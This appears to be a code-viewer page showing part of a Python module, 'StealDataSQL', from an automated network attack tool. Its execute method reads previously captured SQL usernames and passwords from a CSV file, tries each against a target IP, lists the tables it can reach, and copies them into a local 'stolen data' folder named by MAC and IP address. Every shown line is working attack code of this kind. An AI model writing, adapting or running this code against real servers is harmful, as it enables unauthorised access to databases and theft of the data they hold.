Steal data from the remote SQL server.
(self, ip, port, row, status_key)
| 86 | except Exception as e: |
| 87 | logger.error(f"Error downloading data from table {schema}.{table}: {e}") |
| 88 | |
| 89 | def execute(self, ip, port, row, status_key): |
| 90 | """ |
| 91 | Steal data from the remote SQL server. |
| 92 | """ |
| 93 | import pandas as pd # lazy: keeps ~44MB pandas out of RAM until an attack action runs |
| 94 | try: |
| 95 | if 'success' in row.get(self.b_parent_action, ''): |
| 96 | self.shared_data.ragnarorch_status = "StealDataSQL" |
| 97 | time.sleep(5) |
| 98 | logger.info(f"Stealing data from {ip}:{port}...") |
| 99 | |
| 100 | sqlfile = self.shared_data.sqlfile |
| 101 | credentials = [] |
| 102 | if os.path.exists(sqlfile): |
| 103 | df = pd.read_csv(sqlfile) |
| 104 | # Filtrer les credentials pour l'IP spécifique |
| 105 | ip_credentials = df[df['IP Address'] == ip] |
| 106 | # Créer des tuples (username, password, database) |
| 107 | credentials = [(row['User'], row['Password'], row['Database']) |
| 108 | for _, row in ip_credentials.iterrows()] |
| 109 | logger.info(f"Found {len(credentials)} credential combinations for {ip}") |
| 110 | |
| 111 | if not credentials: |
| 112 | logger.error(f"No valid credentials found for {ip}. Skipping...") |
| 113 | return 'failed' |
| 114 | |
| 115 | def timeout(): |
| 116 | if not self.sql_connected: |
| 117 | logger.error(f"No SQL connection established within 4 minutes for {ip}. Marking as failed.") |
| 118 | self.stop_execution = True |
| 119 | |
| 120 | timer = Timer(240, timeout) |
| 121 | timer.start() |
| 122 | |
| 123 | success = False |
| 124 | for username, password, database in credentials: |
| 125 | if self.stop_execution or self.shared_data.orchestrator_should_exit: |
| 126 | logger.info("Steal data execution interrupted.") |
| 127 | break |
| 128 | try: |
| 129 | logger.info(f"Trying credential {username}:{password} for {ip} on database {database}") |
| 130 | # D'abord se connecter sans base pour vérifier les permissions globales |
| 131 | engine = self.connect_sql(ip, username, password) |
| 132 | if engine: |
| 133 | tables = self.find_tables(engine) |
| 134 | mac = row['MAC Address'] |
| 135 | local_dir = os.path.join(self.shared_data.datastolendir, f"sql/{mac}_{ip}/{database}") |
| 136 | os.makedirs(local_dir, exist_ok=True) |
| 137 | |
| 138 | if tables: |
| 139 | for table, schema in tables: |
| 140 | if self.stop_execution or self.shared_data.orchestrator_should_exit: |
| 141 | break |
| 142 | # Se connecter à la base spécifique pour le vol de données |
| 143 | db_engine = self.connect_sql(ip, username, password, schema) |
| 144 | if db_engine: |
| 145 | self.steal_data(db_engine, table, schema, local_dir) |
no test coverage detected